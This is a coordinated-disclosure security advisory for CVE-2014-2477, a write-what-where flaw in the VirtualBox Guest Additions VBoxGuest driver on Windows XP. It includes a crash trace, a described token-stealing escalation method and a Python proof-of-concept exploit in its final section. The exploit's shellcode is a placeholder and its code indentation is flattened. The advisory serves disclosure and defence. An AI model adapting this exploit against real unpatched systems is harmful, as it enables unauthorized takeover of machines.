Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation

`Title: Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation  
Advisory ID: KL-001-2014-001  
Publication Date: 07.15.2014  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Oracle  
Affected Product: VirtualBox Guest Additions  
Affected Versions: 4.3.8 - 4.3.10  
Platform: Microsoft XP SP3  
CWE Classification: CWE-123: Write-what-where Condition  
Impact: Arbitrary code execution  
Attack vector: IOCTL  
CVE ID: CVE-2014-2477  
  
2. Vulnerability Description  
  
A vulnerability within VBoxGuest module allows an attacker to  
inject memory they control into an arbitrary location they  
define. This can be used by an attacker to overwrite  
HalDispatchTable+0x4 and execute arbitrary code by subsequently  
calling NtQueryIntervalProfile.  
  
3. Technical Description  
  
A userland process can create a handle into the VBoxGuest device  
and subsequently make DeviceIoControlFile() calls into that  
device. During the IRP handler routine for 0x0022a040 the user  
provided OutputBuffer address is not validated. This allows an  
attacker to specify an arbitrary address and write (or overwrite)  
the memory residing at the specified address. This is classicaly  
known as a write-what-where vulnerability and has well known  
exploitation methods associated with it.  
  
A stack trace from our fuzzing can be seen below. In our fuzzing  
testcase, the specified OutputBuffer in the DeviceIoControlFile()  
call is 0xffff0000.  
  
STACK_TEXT:  
f824a9d4 805241e0 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b  
f824aa20 804e172b 00000001 ffff0000 00000000 nt!MmAccessFault+0x6f5  
f824aa20 804eca3b 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc  
f824aaf0 804ecaba ffa74248 f824ab3c f824ab30 nt!IopCompleteRequest+0x92  
f824ab40 806f5c0e 00000000 00000000 f824ab58 nt!KiDeliverApc+0xb3  
f824ab40 806f00b3 00000000 00000000 f824ab58 hal!HalpApcInterrupt2ndEntry+0x31  
f824abcc 804e546c ffa74248 ffa74208 00000000 hal!KfLowerIrql+0x43  
f824abec 804ecad4 ffa74248 811772d8 00000000 nt!KeInsertQueueApc+0x4b  
f824ac20 faa36123 811772d8 81297558 00000000 nt!IopfCompleteRequest+0x1d8  
f824ac34 804e3807 0000008c 0000008c 806f0070 VBoxGuest+0x1123  
f824ac44 80568191 ffa7429c 811772d8 ffa74208 nt!IopfCallDriver+0x31  
f824ac58 805770ca 812971a8 ffa74208 811772d8 nt!IopSynchronousServiceTail+0x70  
f824ad00 805795e3 00000058 00000000 00000000 nt!IopXxxControlFile+0x611  
f824ad34 804de7ec 00000058 00000000 00000000 nt!NtDeviceIoControlFile+0x2a  
f824ad34 7c90e526 00000058 00000000 00000000 nt!KiFastCallEntry+0xf8  
0021fa54 7c90d28a 1d1adc9a 00000058 00000000 ntdll!KiIntSystemCall+0x6  
0021fa58 1d1adc9a 00000058 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc  
  
Reviewing the TRAP_FRAME at the time of crash we can see  
IopCompleteRequest() copying data from InputBuffer into the  
OutputBuffer. InputBuffer is another parameter provided to the  
DeviceIoControlFile() function and is therefore controllable by  
the attacker. The edi register contains the invalid address  
provided during the fuzz testcase.  
  
ErrCode = 00000002  
eax=0000008c ebx=ffa74208 ecx=00000023 edx=00000000 esi=811eabf0 edi=ffff0000  
eip=804eca3b esp=f824aaac ebp=f824aaf0 iopl=0 nv up ei pl nz na po nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202  
nt!IopCompleteRequest+0x92:  
0008:804eca3b f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
  
A write-what-where vulnerability can be leveraged to obtained  
escalated privileges. To do so, an attacker will need to allocate  
memory in userland that is populated with shellcode designed to  
find the Token for PID 4 (System) and then overwrite the token  
for its own process. By leveraging the vulnerability it is then  
possible to overwrite the pointer at HalDispatchTable+0x4 with a  
pointer to our shellcode. Calling NtQueryIntervalProfile() will  
subsequently call HalDispatchTable+0x4, execute our shellcode,  
and elevate the privilege of the exploit process.  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has patched this vulnerability. The patch information  
is here:  
http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin of KoreLogic  
Security, Inc.  
  
6. Disclosure Timeline  
  
04.28.14 - KoreLogic contacts Oracle with vulnerability report and PoC.  
04.29.14 - Oracle acknowledges receipt of vulnerability report and PoC.  
05.02.14 - Oracle assigns tracking to this vulnerability report  
and states that it will be patched in the CPU cycle,  
with credit for the report given to KoreLogic. Oracle  
also states monthly updates will be provided.  
05.22.14 - Oracle provides KoreLogic with status update  
indicating the vulnerability will be patched in an  
upcoming CPU and states that they will publicly  
acknowledge KoreLogic in the associated public  
bulletin.  
06.11.14 - KoreLogic informs Oracle that 30 days have passed  
since vendor acknowledgement of the initial report.  
KoreLogic requests CVE number for the vulnerability,  
if there is one. KoreLogic also requests vendor's  
public identifier for the vulnerability along with the  
expected disclosure date.  
06.11.14 - Oracle responds with CVE number, expected release date  
of 07.15.14 and public identifier (CVE number).  
06.24.14 - Oracle provides status update.  
07.02.14 - 45 business days have elapsed since vendor  
acknowledged vulnerability.  
07.11.14 - Oracle provides expected CPU release time.  
07.15.14 - Coordinated public release of vulnerability and vendor  
patch.  
  
7. Proof of Concept  
  
# KL-001-2014-001 : Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation  
# Oracle VirtualBox 4.3.8-4.3.10  
#  
# Matt Bergin (KoreLogic/Smash the Stack)  
# thanks to bla  
#  
  
from ctypes import *  
from struct import pack  
from os import getpid,system  
from sys import exit  
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA  
GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle  
VirtualProtect = windll.kernel32.VirtualProtect  
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0  
  
# thanks to offsec for the concept  
# I re-wrote the code as to not fully insult them :)  
def getBase(name=None):  
retArray = c_ulong*1024  
ImageBase = retArray()  
callback = c_int(1024)  
cbNeeded = c_long()  
EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))  
for base in ImageBase:  
driverName = c_char_p("\x00"*1024)  
GetDeviceDriverBaseNameA(base,driverName,48)  
if (name):  
if (driverName.value.lower() == name):  
return base  
else:  
return (base,driverName.value)  
return None  
  
handle = CreateFileA("\\\\.\\VBoxGuest",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)  
print "[+] Handle \\\\.\\VBoxGuest @ %s" % (handle)  
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)  
buf = "\xcc\xcc\xcc\xcc"*35  
WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))  
WriteProcessMemory(-1, 0x1, buf, 140, byref(c_int(0)))  
#Overwrite Pointer  
kBase,kVer = getBase()  
hKernel = LoadLibraryExA(kVer,0,1)  
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")  
HalDispatchTable -= hKernel  
HalDispatchTable += kBase  
HalDispatchTable += 0x4  
print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))  
DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x22a040,0x1,140,HalDispatchTable-40,0)  
print "[+] HalDispatchTable+0x4 overwritten"  
CloseHandle(handle)  
NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))  
#Something bad happened  
exit(0)  
  
The contents of this advisory are copyright(c) 2014 KoreLogic, Inc.  
and are licensed under a Creative Commons Attribution Share-Alike 4.0  
(United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a proven  
track record of providing security services to entities ranging from  
Fortune 500 to small and mid-sized companies. We are a highly skilled  
team of senior security consultants doing by-hand security assessments  
for the most important networks in the U.S. and around the world. We  
are also developers of various tools and resources aimed at helping  
the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt  
  
`